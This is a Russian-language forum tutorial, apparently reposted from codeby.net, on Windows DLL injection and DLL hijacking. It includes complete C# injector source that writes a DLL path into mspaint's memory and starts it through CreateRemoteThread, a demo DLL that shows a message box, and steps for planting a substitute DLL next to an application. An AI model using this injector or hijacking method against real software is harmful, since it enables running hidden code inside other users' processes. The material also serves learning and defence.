DLL Injection

DLL Injection

@webware

t.me/webware

Привет господа форумчане. Давненько я не писал, но ничего страшного, скоро решатся пара бытовых проблем и выпуск статей нормализуется по 2 - 3 в неделю. А сегодня, мы поговорим немного не мало о технике DLL Инъекций и рассмотрим пару примеров.


Итак что такое DLL Инъекция? 

Это тип атаки, который позволяет внедрять исполняемый код из DLL в процесс(исполняемую программу), что дает возможность выполнить код от имени пользователя под которым запущен процесс.

Рассмотрим 2 вида этой техники обычную DLL Injection и Dll Hijacking, а так же чем они отличаются.


DLL Injection 

Как обычно в моем стиле, сразу к делу и на практике.

Задача: Заинжектить исполняемый код в программу Paint.

Для этого немного раскрою суть атаки.

Сначала мы ищем процесс, далее выделяем память для нашей DLL,

после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.

Создаем DLL файл со следующим кодом.

 #include <Windows.h>

extern "C" __declspec(dllexport) bool WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBox(NULL, "DLL INJECTION", "SPECIAL FOR CODEBY", MB_OK);
        break;
    }

    case DLL_PROCESS_DETACH:
        break;

    case DLL_THREAD_ATTACH:
        break;

    case DLL_THREAD_DETACH:
        break;
    }
    return true;
}


А далее напишем инжектор и разберем его по частям:

По сути основной смысл находится в этих двух методах

  public static int inject(string dllPath, Process tProcess)
        {
            Process targetProcess = tProcess; // Получаем процесс куда инжектим
            string dllName = dllPath; // Имя дллки что инжектим
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); //открываем процесс для записи и чтения
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Получаем адрес процесса
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Выделяем память под новый тред
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Пишем в новую область памяти
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); // создаем поток в области памяти который запускает наш код
            return 0;
        }

// Здесь же просто вызов метода инжект
        public static void Execute()
        {
            string rawDLL = String.Empty;
            if (is64BitOperatingSystem)
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            else
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            // Execution of injection
            Process proc = Process.GetCurrentProcess(); //GetProcessesByName("mspaint")[0];
            Injection.inject(rawDLL, proc);
            isInjected = true;
        }


Полностью весь код, целиком:

using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Reflection;

namespace alphabotcsharp
{
    public class Injection
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            IntPtr lpThreadId);

        // privileges
        const int PROCESS_CREATE_THREAD = 0x0002;
        const int PROCESS_QUERY_INFORMATION = 0x0400;
        const int PROCESS_VM_OPERATION = 0x0008;
        const int PROCESS_VM_WRITE = 0x0020;
        const int PROCESS_VM_READ = 0x0010;

        // used for memory allocation
        const uint MEM_COMMIT = 0x00001000;
        const uint MEM_RESERVE = 0x00002000;
        const uint PAGE_READWRITE = 4;

        public static bool isInjected = false;
        [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool IsWow64Process(
            [In] IntPtr hProcess,
            [Out] out bool wow64Process
        );

        static bool is64BitProcess = (IntPtr.Size == 8);
        static bool is64BitOperatingSystem = is64BitProcess || InternalCheckIsWow64();

        public static int inject(string dllPath, Process tProcess)
        {
            Process targetProcess = tProcess;
            string dllName = dllPath;
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
            return 0;
        }

        public static void Execute()
        {
            string rawDLL = String.Empty;
            if (is64BitOperatingSystem)
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            else
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            // Execution of injection
            Process proc = Process.GetProcessesByName("mspaint")[0];
            Injection.inject(rawDLL, proc);
            isInjected = true;
        }
        public static Boolean isInjectedAlready()
        {
            if (isInjected)
            {
                return true;
            }
            else
            {
                return false;
            }
        }
        public static bool InternalCheckIsWow64()
        {
            if ((Environment.OSVersion.Version.Major == 5 && Environment.OSVersion.Version.Minor >= 1) ||
                Environment.OSVersion.Version.Major >= 6)
            {
                using (Process p = Process.GetCurrentProcess())
                {
                    bool retVal;
                    if (!IsWow64Process(p.Handle, out retVal))
                    {
                        return false;
                    }
                    return retVal;
                }
            }
            else
            {
                return false;
            }
        }
    }

    public class Program
    {
        public static void Main()
        {
            Injection.Execute();
        }
    }
}


Профит 

DLL Hijacking

Это мы взглянули в целом на технику DLL Injection, а теперь же давайте посмотрим на DLL Hijacking.

Идея этой уязвимости заключается в особенности организации работы подхвата dll'ок. Совершенно логично, что в первую очередь при добавлении библиотеки, маперы ищут её в своей директории, и только потом в заданных настройках ОС. Таким образом мы получаем, что если мы знаем имя библиотеки, подгружаемой в утилиту, а так же существует собственно сама уязвимость dll hijacking'a, мы можем подложить нашу dll с нагрузкой в корень с утилитой.


Я перепишу код метода Main, который на на этот раз, будет архи простым, но дергать метод из другой dll библиотеки. Напишем же её.

using System.Windows.Forms;

namespace DllValid
{
    public class Validation
    {
        public void GetMessage()
        {
            MessageBox.Show("Я нормальная библиотека");
        }
 
    }
}


А вот код метода Main, когда мы подключим нашу библиотеку.

using DllValid;

namespace alphabotcsharp
{
    public class Program
    {
        public static void Main()
        {
            Validation message = new Validation();
            message.GetMessage();
        }
    }
}


Убедимся, что всё работает.

Как мы видим, на этот раз, код оказался до боли простой, но метод ссылается на другой путь. Теперь возьмем dll из старого проекта и кинем в наш, переназвав его соответственно. Получаем ошибку о том, что не соотвествует манифест. Здесь нам поможет в исследовании утилитка dotPeek.

Загрузим в утилиту наш билд:

Как мы видим, утилита, с помощью радостей рефлексии, выдергивает манифесты сборки, классы, методы и многое другое. Однако если у нас не .Net приложение то можно использовать утилиту ProcessExplorer.exe, которая показывает сборки используемые в проекте. Понятное дело, что если мы перепишем dll с таким же namespace'om, именем класса и метода, то всё отработает.


Но это не интересно. Всё таки нам нужно вызвать наш метод, для этого вместо DllMain воспользуемся методом IClassFactory::CreateInstance


В результате перепишем метод DLLMain на CreateInstance и снова кладем её в нашу директорию с утилитой.


Профит: Хотя мы и получаем в результате ошибку, наш код всё равно выполняется, так как инстанс создается раньше, чем система проверяет манифест.

На этом всё, всем спасибо.

Источник codeby.net

Report Page